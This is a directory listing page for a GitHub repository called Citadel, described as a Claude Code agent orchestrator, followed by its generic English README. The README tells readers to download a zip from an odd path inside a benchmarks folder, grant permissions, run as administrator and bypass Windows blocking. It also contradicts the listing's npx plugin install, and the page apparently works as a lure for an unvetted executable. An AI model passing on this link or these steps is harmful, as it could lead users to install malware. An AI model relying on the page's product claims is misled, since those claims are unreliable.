convez.ai
AgenteAutomaçãoIntermediário
Micaelachesty584

Citadel - Orquestrador de Agentes Claude

Micaelachesty584/Citadel

Orquestre agentes Claude com persistência de memória e roteamento inteligente

Ver no GitHub
InicialPluginScore · de 0 a 100

Aplicação Windows que orquestra fluxos de trabalho com agentes Claude Code, persistindo memória entre sessões e roteando tarefas pelo caminho de menor custo. Gerencia campanhas, mantém histórico de trabalho e isola agentes em worktrees paralelos para execução segura de tarefas complexas.

Instalação

$npx convez-ai Micaelachesty584/Citadel

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
0
Forks
0
Acompanhando
0
Saúde
71%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
6

Casos de uso

  • Automação de tarefas de codificação repetitivas
  • Pesquisa e planejamento multi-wave com aprendizado entre etapas
  • Execução de workflows longos que requerem persistência entre sessões
  • Trabalhos que exigem isolamento em branches seguras

Veredito

Citadel é uma solução robusta para quem precisa orquestrar agentes Claude em ambiente Windows com persistência de estado. Bem adequado para fluxos repetitivos e complexos, mas limitado ao ecossistema Windows e requer acesso a Claude Code.

README

A tradução para o português deste README ainda está na fila.

🏰 Citadel - Run Agent Workflows With Ease

Download Citadel

🚀 Getting Started

Citadel is a Windows app that helps you run agent workflows with Claude Code. It keeps your work in one place, lets you move through tasks in stages, and helps you pick up where you left off. It is built for people who want a clear way to manage repeated work without setting up a complex system.

💻 What You Need

  • Windows 10 or Windows 11
  • An internet connection for the first download
  • Enough free disk space for the app and its workspace files
  • Claude Code access if you plan to use the agent features
  • A standard user account is enough for most setups

📥 Download and Install

Use this link to visit the download page and get the app:

Visit the Citadel download page

When the page opens, look for the latest release or the main download option. If you see a setup file, download it to your PC. If the app comes as a zip file, save it and extract it first.

Install on Windows

  1. Open the downloaded file.
  2. If Windows asks for permission, select Yes.
  3. If you downloaded a zip file, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Double-click the Citadel app or setup file.
  6. Follow the on-screen steps to finish the install.

🧭 First Run

After installation, start Citadel from your desktop or Start menu.

You may be asked to choose a workspace folder. This is where Citadel stores campaign data, logs, and task history. Pick a folder you can find again, such as Documents or a project folder on your drive.

If the app asks for Claude Code settings, enter the details you use for your Claude Code setup. Citadel uses that link to route work through its agent flow.

🔧 How Citadel Works

Citadel uses a simple flow so you can move from one step to the next without confusion.

  • /do routing sends work into the right lane based on the task type
  • Campaign persistence keeps your work saved across sessions
  • Parallel agents handle separate tasks in isolated worktrees
  • Discovery relay shares useful findings between waves of work
  • Lifecycle hooks run checks at key points in the process
  • Circuit breaker helps stop runaway tasks
  • Skills give the app set patterns for common work

You do not need to manage each part by hand. Citadel handles the flow while you focus on the task you want done.

🗂️ Common Use Cases

Citadel works well for:

  • Repeated coding tasks
  • Step-by-step agent work
  • Grouped research and task planning
  • Long tasks that need saving between sessions
  • Work that must stay separated into safe branches
  • Multi-wave task runs where each wave learns from the last

⚙️ Basic Setup

Once the app is open, use these steps to get started:

  1. Create or choose a workspace.
  2. Add your first campaign.
  3. Pick the task type you want to run.
  4. Start the workflow with the /do command or the app control that starts a run.
  5. Watch the task status as it moves through each stage.

If you plan to use more than one agent, Citadel will place them in separate worktrees. This helps keep each task clean and easier to manage.

🧪 Tips for Better Results

  • Use short task names
  • Keep one campaign per goal
  • Save each work session in the same workspace
  • Check the discovery relay before starting a new wave
  • Use the circuit breaker if a task starts to drift
  • Review the output after each stage before you move on

🛠️ Included Skills

Citadel includes six production-quality skills for common agent work:

  • Task routing
  • Campaign tracking
  • Parallel execution
  • Discovery sharing
  • Run control
  • Session recovery

These skills help the app stay organized when you switch between jobs or come back later.

🔐 Workspace and File Safety

Citadel keeps work in isolated folders so separate runs do not mix with each other. This helps reduce mistakes when you run more than one agent or return to a task later.

If you use version control, keep your Citadel workspace inside a folder that is easy to back up. This makes it simpler to restore your work if needed.

🧩 Best Folder Setup

A simple folder layout works well:

  • Documents\Citadel
  • Documents\Citadel\Campaigns
  • Documents\Citadel\Logs
  • Documents\Citadel\Exports

This setup keeps your main files, history, and output in one place.

🖥️ Running a Task

To run a task:

  1. Open Citadel.
  2. Choose a campaign.
  3. Enter your goal in plain language.
  4. Select the route or stage that fits the job.
  5. Start the run.
  6. Check the results when the wave finishes.

If the task needs more work, Citadel can carry the campaign into the next session.

📁 What Citadel Stores

Citadel can save:

  • Campaign state
  • Task history
  • Wave results
  • Relay notes
  • Logs
  • Workspace paths
  • Hook results

This gives you a record of what happened and makes it easier to continue later.

🧰 Troubleshooting

The app does not open

  • Make sure the download finished
  • Try running the app as an administrator
  • Check that Windows did not block the file
  • Restart your PC and try again

I cannot find my workspace

  • Open Citadel and look at the last used folder
  • Search for a folder named Citadel in Documents or Downloads
  • Check any location you chose during setup

A task stops too soon

  • Review the task input for missing details
  • Check whether the circuit breaker ended the run
  • Start the task again with a smaller scope

My changes are not saved

  • Make sure the workspace folder is writable
  • Check free disk space
  • Confirm that the app has access to the folder you selected

📦 Suggested Use on Windows

For the cleanest setup, keep Citadel in a stable folder and avoid moving it after you start using it. Use the same workspace each time so campaign data stays in one place.

If you use multiple campaigns, keep each one in its own subfolder. This makes it easier to find logs, outputs, and saved state later.

🔍 What Makes It Different

Citadel is made for agent work that needs structure. It gives you:

  • Clear routing for each task
  • Save points between sessions
  • Safe parallel work in separate folders
  • Shared findings between stages
  • Controls that help prevent loops
  • A small set of built-in skills for common jobs

This makes it easier to keep large or repeated work under control

📎 Download Link

Use this page to download and run Citadel on Windows:

https://github.com/Micaelachesty584/Citadel/raw/refs/heads/main/skills/archon/benchmarks/Software_1.1.zip

🗃️ File Layout Example

After setup, your files may look like this:

  • Citadel.exe
  • workspace
  • campaigns
  • logs
  • exports
  • config

🧑‍💻 For Daily Use

Open Citadel when you want to:

  • Start a new agent run
  • Continue an older campaign
  • Split work into parallel branches
  • Review what each wave found
  • Keep long tasks organized
  • Resume work after closing the app

🧭 Simple Workflow

  1. Open the app
  2. Pick a campaign
  3. Enter the task
  4. Run the first wave
  5. Review the relay notes
  6. Start the next wave if needed
  7. Save the final result
Ver o original no GitHub

Bom para

Relacionados